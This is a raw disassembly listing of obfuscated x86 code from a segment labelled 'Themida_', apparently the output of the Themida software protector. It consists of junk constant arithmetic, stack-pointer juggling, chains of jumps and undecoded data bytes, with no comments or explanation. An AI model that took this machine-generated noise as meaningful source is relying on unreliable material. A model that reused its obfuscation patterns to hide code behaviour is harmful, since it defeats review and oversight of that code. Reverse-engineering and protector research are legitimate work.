loc_508C7B:				; CODE XREF: Themida_:0050E55Cj
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_50D40B
; ---------------------------------------------------------------------------

loc_508C8A:				; CODE XREF: Themida_:0050B2B8j
		pop	eax
		jmp	loc_50828B
; ---------------------------------------------------------------------------
		dd 4C481h, 0F5880000h, 229EE95Ah, 575D0000h, 0C1565CBFh
		dd 0DC00E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508CAA:				; CODE XREF: Themida_:0050DE65j
		dec	edx
		push	edi
		mov	edi, 6101008Eh
		add	edi, 5F180849h
		add	edi, 0FFFFFFFFh
		sub	edi, 6ED3194Ah
		and	edi, 7B2C76F3h
		not	edi
		inc	edi
		xor	edi, 0CBA2C61Ch
		add	edx, 545911E8h
		add	edx, edi
		sub	edx, 545911E8h
		mov	edi, [esp]
		add	esp, 4
		add	edx, 88818975h
		jmp	loc_50851D
; ---------------------------------------------------------------------------
		dd 0FF243489h, 8B042474h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_505450
; ---------------------------------------------------------------------------

loc_508D0D:				; CODE XREF: Themida_:0050A955j
		mov	[esp], edx
		mov	dl, 0A0h
		push	ax
		jmp	loc_5068B7
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFE1E6E9h, 4EC83FFh, 0BE243489h, 22AD5217h,	0E95EF129h
		dd 0FFFFAEA3h
; ---------------------------------------------------------------------------

loc_508D34:				; CODE XREF: Themida_:0050519Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_5067DE
; ---------------------------------------------------------------------------
		dd 5AD32958h, 0C381C301h, 21480310h, 781CC381h,	0BE56767Bh
		dd 54C336FEh, 575EF329h, 1CB468h, 24048900h, 2B4DA168h
		dd 51485860h, 2363E9h
		db 0
; ---------------------------------------------------------------------------

loc_508D75:				; CODE XREF: Themida_:00507F67j
		add	eax, 4
		jmp	loc_5082B2
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0E9C5F8D9h, 4146BA52h, 0D6292693h, 8124148Bh, 4C4h
		dd 81FE0100h, 934146C6h, 0F0015F26h, 8124348Bh,	4C4h, 9F4DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508DAE:				; CODE XREF: Themida_:00505D1Aj
		dec	eax
		dec	eax
		jmp	loc_505733
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aYqh		db 'YQh',8,'/',0
		dw 5400h
		dd 0FFD4D1E9h, 0E9D7F7FFh, 1145h
; ---------------------------------------------------------------------------

loc_508DCC:				; CODE XREF: Themida_:00509BACj
		push	edx
		push	ecx
		mov	ch, 0B6h
		mov	dl, 8
		xor	dl, ch
		pop	ecx
		mov	bl, 98h
		jmp	loc_509EE0
; ---------------------------------------------------------------------------
		dd 8058C628h, 0F328A7F6h, 0E9D8285Ah, 4705h, 5B58E588h
		dd 0E924048Bh, 0FFFFC30Dh
; ---------------------------------------------------------------------------

loc_508DF8:				; CODE XREF: Themida_:0050AF4Bj
		and	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 9CB36CCh
		dec	edx
		add	edx, 8310BB2h
		sub	edx, 40AB7E46h
		jmp	loc_505F55
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B7241C89h, 5BF88871h, 0FFEA37E9h, 272EBDFFh, 0ED811D8Eh
		dd 10B92C95h, 8904EC83h, 48E9241Ch, 0BDFFFFB6h,	4, 4246C01h
		dd 24148B5Dh, 8104C483h, 4C2h, 0BB535000h, 4, 6FE9D889h
		dd 55000029h, 429DBF57h, 0A5BD66B5h, 29CF4B83h,	0E9015FFDh
		dd 0D1E9815Dh, 12D274Ah, 0D1C181F1h, 572D274Ah,	2BEEE9h
		db 0
; ---------------------------------------------------------------------------

loc_508E91:				; CODE XREF: Themida_:00508FD0j
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		push	18BCh
		mov	[esp], ebx
		push	54633F49h
		pop	ebx
		sub	ebx, 1
		xor	ebx, 27F5D51h
		push	ebx
		jmp	loc_50A3DC
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 3Eh
		dd 89406926h, 0CBE95FF9h, 0BFFFFFE0h, 4, 4247C01h, 24048F5Fh
		dd 4B850h, 44010000h, 5DE90424h, 500002Dh, 35A4286h, 862DF801h
		dd 5F035A42h, 0D764BE2Dh, 5C82918h, 18D764BEh, 19228D2Dh
		dd 17E9592Ch, 5FFFFA4h,	4, 405h, 24048700h, 78CD805Ch
		dd 0E907EDC0h, 0FFFFBC3Ch, 22C5E955h, 0C6810000h, 0FFFFFFFFh
		dd 0FFD855E9h, 0FF5059FFh, 0E958240Ch, 0FFFFAA97h, 0EDFEA81h
		dd 0D2F72E70h, 13C4E9h,	0FFDF0100h, 685B2434h, 7CBEh, 89241489h
		dd 4C281E2h, 51000000h,	0FFC433E9h, 52E189FFh, 0FFEAECE9h
		dd 99C68FFh, 0EEE940D6h, 1FFFF9Ch, 1C8758C3h, 34FF5C24h
		dd 24148B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebp
		mov	ebp, 54EC6C05h
		push	ebx
		mov	ebx, 43890777h
		jmp	loc_505DB7
; ---------------------------------------------------------------------------

loc_508FB0:				; CODE XREF: Themida_:0050AE38j
		push	esi
		mov	esi, 568F4790h
		mov	eax, 5A5B7824h
		sub	eax, esi
		pop	esi
		shr	eax, 2
		and	eax, 18F55E77h
		sub	eax, 0B71EA2ECh
		sub	ebx, eax
		pop	eax
		xor	eax, ebx
		jmp	loc_508E91
; ---------------------------------------------------------------------------

loc_508FD5:				; CODE XREF: Themida_:005051A1j
		mov	edi, ebx
		jmp	loc_5031B3
; ---------------------------------------------------------------------------
		dd 0B31680B9h, 6E9C147h, 0FFA08EE9h, 242C89FFh,	4BDh, 0C655E900h
		dd 0F781FFFFh, 0AA531B0h, 658FE781h, 0EF813BDEh, 0C512E7DDh
		dd 515FFB31h, 143A2BB9h, 3CC1814Bh, 0F758BE65h,	3FF181D9h
		dd 0E9341142h, 0FFFFCD27h, 24048B66h, 0D125E950h, 0D7F7FFFFh
		dd 0E906E7C1h, 0FFFFBEDBh, 8B243C87h, 0FF662424h, 0E99C240Ch
		dd 0FFFF9B26h
; ---------------------------------------------------------------------------

loc_509048:				; CODE XREF: Themida_:00505996j
		shr	edx, 8
		sub	edx, 0B7E38DFEh
		mov	ebx, edx
		jmp	loc_50EA2A
; ---------------------------------------------------------------------------
		dd 0AEE9EA29h, 0B6FFFFAFh, 83B050B6h, 2C07E0C0h, 5207E934h
		dd 0DA860000h, 0E230D430h, 0D4F6D430h, 861EC80h, 6025E9E7h
		dd 0EEC10000h, 4EC8302h, 0FF9AFBE9h, 0E9FE2CFFh, 6317h
		dd 5C240C87h, 89241489h, 4B951E2h, 81000000h, 862F75EAh
		dd 26F8E97Fh, 0D7010000h, 0BD0DE95Ah, 0E95DFFFFh, 25E3h
		dd 0E9243C89h, 0FFFFF837h, 24048B66h, 8904EC83h, 0BA68242Ch
		dd 0E9000007h, 0FFFFD174h, 12B2E956h, 0C7810000h, 1, 798BEF81h
		dd 0BA524888h, 51367837h, 67AACA81h, 814A6EE6h,	696D78F2h
		dd 0BE1EE949h, 0C281FFFFh, 4, 2C281h, 59E90000h, 0FFFFFFEEh
		dd 589D1C77h, 9C240419h, 0FF9A4DE9h, 0E9535EFFh, 490Eh
; ---------------------------------------------------------------------------

loc_509128:				; CODE XREF: Themida_:00503DBDj
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_50AF46
; ---------------------------------------------------------------------------

loc_509134:				; CODE XREF: Themida_:00505ED6j
		push	edx
		mov	edx, 50E907FDh
		jmp	loc_504744
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0CFB65288h, 5304EEC0h, 23C0E9h
		db 0
; ---------------------------------------------------------------------------

loc_50914D:				; CODE XREF: Themida_:0050D3B9j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5097C1
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0A99E9h
		db 0
; ---------------------------------------------------------------------------

loc_509165:				; CODE XREF: Themida_:005035E3j
		add	ebx, 4
		jmp	loc_50C8D1
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240C89h, 0FFFFB3B6h, 0E95BD901h, 0FFFFF053h, 54B2F581h
		dd 0FAE91F1Fh, 52000059h, 0E9D0B551h, 0FFFFA454h
; ---------------------------------------------------------------------------

loc_509194:				; CODE XREF: Themida_:0050B81Aj
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 6FB9515Ch, 173B472h
		dd 0EFE959C8h, 83000045h, 0BEE904C4h, 66000003h, 6672DCB9h
		dd 6602E9C1h, 600DE981h, 0C1664166h, 816608E9h,	666371F1h
		dd 8B66CB01h, 88E9240Ch, 6600001Ch, 5D66E831h, 3D1CE9h
		dd 0BB00h, 89500000h, 30DEE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5091FE:				; CODE XREF: Themida_:00509F48j
		xor	ebx, 147BF0C5h
		sub	eax, 737702Dh
		add	eax, ebx
		jmp	loc_502BF5
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 0F9F780CBh, 809DB450h, 0E4C0F4CCh, 0C0C4FE04h
		dd 0EC8305E4h, 548AE902h, 0F5810000h, 7E60EA4h,	0FFF5CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509239:				; CODE XREF: Themida_:0050AB59j
		sub	esp, 4
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, ebx
		jmp	loc_50D138
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C89h, 0FFFFFF5Bh, 270868h, 242C8900h, 0F4C685BDh
		dd 0D72AE944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50927A:				; CODE XREF: Themida_:005038ABj
		add	esp, 4
		jmp	loc_50CA35
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 98E4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50928A:				; CODE XREF: Themida_:00505045j
		jmp	loc_502B6E
; ---------------------------------------------------------------------------

loc_50928F:				; CODE XREF: Themida_:00509879j
		pop	esp
		mov	[esp], ebp
		jmp	loc_5030E0
; ---------------------------------------------------------------------------
		dd 0CA88F988h, 3ADBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5092A1:				; CODE XREF: Themida_:0050983Dj
		push	esi
		mov	esi, esp
		jmp	loc_504659
; ---------------------------------------------------------------------------

loc_5092A9:				; CODE XREF: Themida_:005049E7j
		mov	edx, 38022FC2h
		mov	ebp, 0C7FDD03Fh
		add	ebp, edx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		push	esp
		jmp	loc_50A410
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 989CE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5092D2:				; CODE XREF: Themida_:00505579j
		mov	ecx, edi
		pop	edi
		push	edi
		mov	edi, 20950F6Fh
		xor	edi, 0A04A6E12h
		mov	edx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		jmp	loc_50A86C
; ---------------------------------------------------------------------------
		dd 5524048Bh, 0C5815D54h, 4, 0E904ED83h, 0BF6h
; ---------------------------------------------------------------------------

loc_509300:				; CODE XREF: Themida_:0050837Aj
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 2
		push	ebx
		jmp	loc_50C223
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 5D2434FFh, 4C481h, 2AE90000h, 0BDFFFFEDh, 34407256h
		dd 8A1E581h, 0E58102D7h, 220E5EF5h, 97E9DDF7h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509337:				; CODE XREF: Themida_:00502CD6j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_502ECB
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 4
		dd 54555224h, 4C5815Dh,	51000000h, 0FFA997E9h, 2EC83FFh
		dd 240C8966h, 8651C588h, 0F601245Ch, 245C86D3h,	2434FF01h
		dd 4C48359h, 88EA8852h,	28E95AD0h, 5F000010h, 5DBB5351h
		dd 0B9379D7Fh, 0F6D5E0BEh, 0FFB4D9E9h, 0C8B66FFh, 0E1895124h
		dd 1C08E9h, 71812D00h, 0C8290F27h, 27718105h, 2A93E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5093AE:				; CODE XREF: Themida_:005083AAj
		mov	esp, [esp]
		add	esp, 4
		idiv	ecx
		push	7EC3h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------

loc_5093C8:				; CODE XREF: Themida_:00502DE8j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		jmp	loc_50EB5D
; ---------------------------------------------------------------------------

loc_5093D7:				; CODE XREF: Themida_:0050391Cj
		neg	ebp
		xor	ebp, 0C2A2D7FAh
		push	edi
		mov	edi, ebp
		mov	eax, edi
		pop	edi
		pop	ebp
		push	ebp
		mov	ebp, 3462F81h
		sub	[esp+8], ebp
		pop	ebp
		add	dword ptr [esp+4], 64063341h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 64063341h
		push	ebp
		mov	ebp, 3462F81h
		jmp	loc_50D6AC
; ---------------------------------------------------------------------------

loc_509410:				; CODE XREF: Themida_:0050B02Fj
		pop	ecx
		shl	bl, 2
		xor	bl, 94h
		jmp	loc_505087
; ---------------------------------------------------------------------------
		dd 0F5E68h, 241C8900h, 0C96965BBh, 56554B3Eh, 94576BBEh
		dd 4EEC133h, 6126E681h,	0F74610B2h, 0A2EE81D6h,	8997EEA9h
		dd 0E5815EF5h, 16A1432Fh, 39E6ED81h, 0CD814269h, 538A37F4h
		dd 4C31C581h, 0EB01A5FCh, 0C7CB815Dh, 81105039h, 0CA77E3CBh
		dd 7E3C178h, 0F782B850h, 0C3316FFFh, 0BCC28158h, 1673A6Eh
		dd 0BCEA81DAh, 5B673A6Eh, 0E9241487h, 0FFFFA321h, 8068C380h
		dd 0B2E970C3h, 89FFFFACh, 0E9815EF3h, 1B012F14h, 32B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_5094A9:				; CODE XREF: Themida_:0050819Aj
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_509A55
; ---------------------------------------------------------------------------

loc_5094C1:				; CODE XREF: Themida_:0050A689j
		add	esp, 4
		push	6D9Ch
		mov	[esp], esi
		push	esp
		jmp	loc_504317
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C62CE904h, 0E968FFFFh, 89000071h, 19BE2434h, 0E961403Fh
		dd 991h
; ---------------------------------------------------------------------------

loc_5094EC:				; CODE XREF: Themida_:00507733j
		add	eax, 0C34B0469h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_503914
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 71h
		dd 319F8C73h, 0EF24E9C1h, 0D121FFFFh, 0E924148Bh, 0FFFFC4D7h
		dd 5C2DD801h, 534BF470h, 8F6418BBh, 59472D4Bh, 31E928D0h
		dd 0BBFFFFDFh, 3E01879h, 68E9DE89h, 80FFFFBBh, 0E10066F4h
		dd 4E9C058h, 0F180C1FEh, 4FB2528Ch, 0C008EAC0h,	8EE905EAh
		dd 2C000050h, 115A685Ch, 3FE90000h, 1FFFFADh, 5504246Ch
		dd 0F006F7BDh, 246C017Eh, 0C522E908h, 0EE81FFFFh, 3EC12999h
		dd 2FB7E9h, 5E9C000h, 0D9F6D9F6h, 0FF9C88E9h, 2E512DFFh
		dd 34FF6FE5h, 0CF0CE924h, 8146FFFFh, 6E26A1EEh,	2942E909h
		dd 0EC810000h, 4, 0BE243489h, 2, 57A0E9h, 5E7C100h, 2EF2E9h
		dd 4C48100h, 8B000000h,	0B3E9241Ch, 81FFFFFCh, 0E3861F5h
		dd 5DEA312Bh, 69B9EE81h, 0D6292DD3h, 3808E9h, 0D8296600h
		dd 31E95766h, 0AD000043h, 3A74CB05h, 70A40509h,	0D80151D5h
		dd 0D570A42Dh, 7E685751h, 8900007Bh, 0F1E92424h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50960F:				; CODE XREF: Themida_:00506D44j
		mov	edx, esi
		jmp	loc_50989C
; ---------------------------------------------------------------------------

loc_509616:				; CODE XREF: Themida_:0050526Bj
		mov	ecx, 46914487h
		and	esi, ecx
		jmp	loc_50DA90
; ---------------------------------------------------------------------------

loc_509622:				; CODE XREF: Themida_:0050C805j
		sub	eax, 0B3A8EE6h
		mov	esi, eax
		pop	eax
		not	esi
		add	esi, 0FFFFFFFFh
		sub	esi, 247B315Fh
		dec	esi
		shr	esi, 8
		push	edx
		mov	edx, 0FF519FAFh
		add	esi, edx
		pop	edx
		sub	edx, esi
		jmp	loc_506F86
; ---------------------------------------------------------------------------

loc_50964C:				; CODE XREF: Themida_:0050AE17j
		neg	eax
		shl	eax, 4
		and	eax, 1F1D059Dh
		jmp	loc_50D58F
; ---------------------------------------------------------------------------
		db 89h
		dd 0EE68240Ch, 89000063h, 46B42404h, 4EF4E9h, 0E9F42800h
		dd 0FFFF9C92h, 4095E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50967A:				; CODE XREF: Themida_:0050E093j
		shr	ebx, 1
		sub	ebx, 163755F3h
		mov	ebp, ebx
		pop	ebx
		xor	[esp+4], ebp
		pop	ebp
		jmp	loc_50813E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 45E95200h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50969B:				; CODE XREF: Themida_:0050AB86j
		sub	ecx, 69C1378h
		mov	edx, [esp]
		add	esp, 4
		not	ecx
		or	ecx, 259B26B4h
		xor	ecx, 5A0866FFh
		or	ecx, 7F0D2F80h
		xor	ecx, 0FF9FAFA1h
		jmp	loc_5060E2
; ---------------------------------------------------------------------------
		dw 2868h
		dd 0E9000002h, 4E6Dh, 4C481h, 0F5E90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5096DB:				; CODE XREF: Themida_:0050DE59j
		add	dh, al
		pop	eax
		add	dh, 9Bh
		xor	dh, 74h
		add	dh, 1
		add	dh, 0E4h
		xor	ch, dh
		pop	edx
		jmp	loc_504C4A
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 34875BDEh,	0C4E95C24h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_509703:				; CODE XREF: Themida_:0050C9FFj
		push	ebx
		mov	ebx, 51903A08h
		jmp	loc_507E55
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0E9E80006h, 5188h
; ---------------------------------------------------------------------------

loc_509718:				; CODE XREF: Themida_:00508989j
		pop	edi
		xor	edi, 37532C29h
		xor	edi, 2E2B3046h
		xor	edi, 2D610F4Ah
		jmp	loc_504037
; ---------------------------------------------------------------------------
		dd 0D7C38166h, 87665A11h, 664A66D3h, 53E9D387h,	0F6000032h
		dd 0E99C241Ch, 0FFFF9422h
; ---------------------------------------------------------------------------

loc_50974C:				; CODE XREF: Themida_:005050E0j
		pop	esp
		mov	ecx, [esp]
		jmp	loc_509BA5
; ---------------------------------------------------------------------------
		db 68h,	71h, 5Dh
		dd 3C890000h, 81E78924h, 4C7h, 4EF8300h, 8B243C87h, 1C892424h
		dd 1C8B5424h, 0E368E924h, 0D8F6FFFFh, 0FFDB5CE9h, 0BF9BFFFh
		dd 0FB012303h, 0FFC3835Fh, 0D0DAEB81h, 0DA295621h, 4879E95Bh
		dd 0CFE90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50979F:				; CODE XREF: Themida_:0050E03Dj
		add	esp, 4
		sub	ecx, 2C8C7A1Dh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_507A92
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C240C87h, 9C2404FEh, 0FF93ADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5097C1:				; CODE XREF: Themida_:00509159j
		mov	[esp], edi
		jmp	loc_509FC3
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 18h
		dd 56FFFFF7h, 0A10C9ABEh, 5EF7314Ah, 5A2FEF81h,	0F7810FC2h
		dd 0FA7A987h, 1832E9h, 4DB96800h, 35E90000h, 0BF00004Eh
		dd 5D9A483Bh, 0C147DFF7h, 0FFE907EFh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509803:				; CODE XREF: Themida_:0050AD40j
		xor	edx, 4FF851A3h
		jmp	loc_50C7CD
; ---------------------------------------------------------------------------

loc_50980E:				; CODE XREF: Themida_:0050DBA2j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_502DE2
; ---------------------------------------------------------------------------
		dd 91E9C4FEh, 81000032h, 4C4h, 0B9515300h, 23F96F4Eh, 0FFD582E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509831:				; CODE XREF: Themida_:0050CA15j
		inc	edx
		sub	edx, 14B34419h
		push	edx
		pop	ecx
		pop	edx
		add	ecx, edi
		jmp	loc_5092A1
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0F211E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50984A:				; CODE XREF: Themida_:00507491j
		pop	edx
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, 14806908h
		add	esi, ebx
		sub	esi, 14806908h
		mov	ebx, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_50928F
; ---------------------------------------------------------------------------
		dw 0D604h
		dd 5BE9F000h, 59FFFF9Eh, 17685053h, 5801AF30h, 6C0DD8F7h
		dd 0E910841Dh, 0FFFFB958h
; ---------------------------------------------------------------------------

loc_50989C:				; CODE XREF: Themida_:00509611j
		pop	esi
		jmp	loc_50D7E0
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0B40ACCCEh, 8359CE01h, 3DE904C6h, 50FFFF9Ch,	0F8C3C5B8h
		dd 58C329A2h, 80E9D929h, 33FFFFEFh, 0B4E9243Ch,	81000048h
		dd 4C6h, 24343300h, 33243431h, 5B5C2434h, 0B9E9C331h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5098E3:				; CODE XREF: Themida_:00505397j
		add	dword ptr [esp], 494C09BBh
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_50822B
; ---------------------------------------------------------------------------
		dd 240C8B54h, 4C481h, 0EEE90000h, 0C1000027h, 0EE8106EEh
		dd 75C5781Eh, 0FFB841E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509919:				; CODE XREF: Themida_:00507361j
		mov	ebx, 0
		add	ebx, 315F2A3Bh
		jmp	loc_50C3DE
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0Eh
		dd 5F3EF842h, 0E049ED81h, 0C28106E5h, 22EC00C2h, 3AE9EA01h
		dd 0D1FFFFEDh, 8E5C1E5h, 1FA9E9h
		db 0
; ---------------------------------------------------------------------------

loc_50994D:				; CODE XREF: Themida_:00504B9Aj
		push	edi
		jmp	loc_502F80
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B2E92434h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50995B:				; CODE XREF: Themida_:0050AB67j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dw 88BBh
		dd 0D1238B16h, 417FE9E3h, 77FF0000h, 59669D1Ch,	241CD366h
		dd 91E4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50998A:				; CODE XREF: Themida_:00506CF8j
		add	esp, 4
		jmp	loc_50D5E9
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 277F6850h, 3C890000h, 78E95524h, 0BAFFFFF9h, 4, 4246C81h
		dd 783801FEh, 4245401h,	2495E9h
		db 0
; ---------------------------------------------------------------------------

loc_5099BD:				; CODE XREF: Themida_:0050B974j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	6204h
		mov	[esp], eax
		push	edx
		push	ecx
		push	58A2B74h
		pop	ecx
		shr	ecx, 8
		push	esi
		mov	esi, 16503D52h
		add	esi, 5C3C4875h
		shl	esi, 6
		not	esi
		jmp	loc_50E955
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 54h
		dd 58612B4Eh, 2474FF51h, 48F5904h, 483BE924h, 0BE560000h
		dd 2D074990h, 54697BBBh, 5EF33166h, 0F702E3C1h,	8CB81D3h
		dd 0C14FA07Bh, 0DEE905E3h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509A2B:				; CODE XREF: Themida_:005055BDj
		add	ecx, 4
		jmp	loc_507057
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 0F607EAC0h, 65B353DAh, 885BDA00h, 6E2C5AD1h,	0C72C1E04h
		dd 0C704C828h, 0FFE4B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509A55:				; CODE XREF: Themida_:005094BCj
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_50D551
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0Bh
		dd 0FFE570E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_509A81:				; CODE XREF: Themida_:0050EF0Dj
		mov	[esp], ebp
		mov	ebp, edi
		push	ebp
		push	esi
		push	ecx
		mov	ecx, 18CE35D1h
		xor	ecx, 1EA56EA7h
		neg	ecx
		jmp	loc_506C03
; ---------------------------------------------------------------------------
		db 88h
		dd 58E388CCh, 0FFB927E9h, 0B2B050FFh, 685B24h, 28000000h
		dd 16E92404h, 50000046h, 0F37E75B8h, 0C1D8F751h, 9A2D06E0h
		dd 31076732h, 0D68958C2h, 56DEF75Ah, 5E2414F7h,	0FFC384E9h
		dd 8B6664FFh, 34E1E902h, 0EF810000h, 3AA8A7FDh,	815FF989h
		dd 287D3EEEh, 0B741E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509AF6:				; CODE XREF: Themida_:00506385j
		pop	ecx
		inc	ecx
		jmp	loc_503FE9
; ---------------------------------------------------------------------------

loc_509AFD:				; CODE XREF: Themida_:00502BCCj
		mov	ecx, esp
		push	edx
		mov	edx, 9EF70FEh
		sub	edx, 0FFFFFFFFh
		neg	edx
		jmp	loc_50ABAE
; ---------------------------------------------------------------------------
		db 59h
		dd 4BB53h, 0E9530000h, 190h, 51D80159h,	2B98BF57h, 0F98972B0h
		dd 0FFBC8DE9h, 555659FFh, 0D84016BDh, 9FFDBE7Bh, 85E9E887h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_509B3F:				; CODE XREF: Themida_:00507595j
		push	322Ah
		mov	[esp], ecx
		mov	ecx, 11A86A77h
		push	edi
		jmp	loc_50D244
; ---------------------------------------------------------------------------

loc_509B52:				; CODE XREF: Themida_:00506A37j
		dec	ebx
		xor	ebx, 54F13A87h
		or	eax, ebx
		pop	ebx
		sub	eax, 50F22023h
		add	eax, 7FEC9B9Bh
		add	esi, eax
		pop	eax
		xor	esi, 34804998h
		jmp	loc_50BC10
; ---------------------------------------------------------------------------
		dd 9C168h, 24348900h, 4BEh, 29C58100h, 137B82Bh, 29BE56F5h
		dd 2937B82Bh, 61E95EF5h, 89FFFFC8h, 0B9512434h,	17CB2416h
		dd 5787E9h
		db 0
; ---------------------------------------------------------------------------

loc_509BA5:				; CODE XREF: Themida_:00509750j
		add	esp, 4
		push	ebx
		jmp	loc_508DCC
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 0CCh
		dd 0B000000Eh, 59C83005h, 0E0C0DD04h, 2CA70C03h, 0FFC32847h
		dd 81582434h, 4C4h, 68EB8000h, 4756E9h
		db 0
; ---------------------------------------------------------------------------

loc_509BD9:				; CODE XREF: Themida_:005063F3j
		pop	ebp
		sub	ecx, 0FFFFFFFFh
		inc	ecx
		or	ecx, 1E905836h
		push	ebp
		mov	ebp, 41824FCh
		add	ebp, 8CA575Eh
		and	ebp, 49557112h
		jmp	loc_5039C3
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 611D77CAh, 4E9C149h,	158E9h,	0BBB45000h, 53ABCC80h
		dd 77E999B3h, 68000051h, 0B9h, 89243C89h, 4C781E7h, 83000000h
		dd 148904ECh, 4BA24h, 0D7290000h, 243C875Ah, 3B99E9h, 0C1665D00h
		dd 0F76608E9h, 0F18166D1h, 0C2E9270Fh
